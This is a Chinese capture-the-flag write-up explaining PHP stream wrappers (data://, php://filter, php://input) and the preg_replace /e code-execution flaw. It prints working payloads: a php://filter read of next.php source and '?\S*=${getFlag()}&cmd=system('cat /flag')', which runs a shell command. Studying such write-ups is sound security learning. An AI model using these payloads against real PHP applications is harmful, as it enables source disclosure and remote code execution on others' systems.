伪协议与preg_replace /e模式
题目
解读:使用get传入参数,要求使用file_get_contents读取text内容,需要和I have a dream全等,之后检查file的参数是否有flag,还有下面包含了next.php文件
知识:
-
函数
-
file_get_contents:将文件读入一个字符串
-
preg_replace
语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
首先第一个pattern是一个需要执行的正则表达式,replacement这个是需要替换的字符串,subject是原文本,需要在其中匹配的原文本,匹配到了就把replacement替换
/e 可以解析正则表达式,存在代码执行的漏洞 修正符:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
\s 空白符
\S 非空白符
[\s\S]任意字符
[\s\S]* 0个到任意多个字符
[\s\S]*? 0个字符,匹配任何字符前的位置
/1 例子:re.match(r'<([\w]+>)[\w]+</\1','python ')
\1表示使用编号为1的分组,在前面有个括号([\w]+>) 这个括号内的就表示是编号为1的分组,如果这个正则表达式中有多个括号,就是说有多个分组,然后想复用第n个分组,就加一个\n -
-
协议
- data协议
data协议使用方法则是:
text=data://text/plain,I have a dream或者text=data://text/plain;base64,base64编码,固定语法
2.php://协议
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
使用方法:php://filter/read=convert.base64-encode/resource=文件名(对文件进行base64编码并读取显示)
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
使用方法:php://input,然后post需要执行的数据 如http://127.0.0.1/cmd.php?file=php://input 然后在post中<?php phpinfo() ?>
协议总结
解题
之后使用data写入字符让他读取
?text=data://text/plain,I have a dream
之后就想办法读取next.php
使用php://filter协议
&file=php://filter/read=convert.base64-encode/resource=next.php
之后解码拿到源码
这里使用了preg_replace + /e模式说明可以执行代码
foreach使用了键值分离,之后看了wp的payload
?\S*=${getFlag()}&cmd=system('cat /flag')
这里使用的是键值分离就不用id传入
之后\S就是$re {getFlag()},然后传入了cmd参数并执行就得到了flag,为什么不使用.呢,因为他匹配的是所有,会匹配到其他的。
做题思路
思路就是利用该漏洞,调用getFlag函数,然后利用cmd的一句话木马去找到flag.
本文作者:Running_J
本文链接:https://www.cnblogs.com/ArcherCY/p/16826156.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步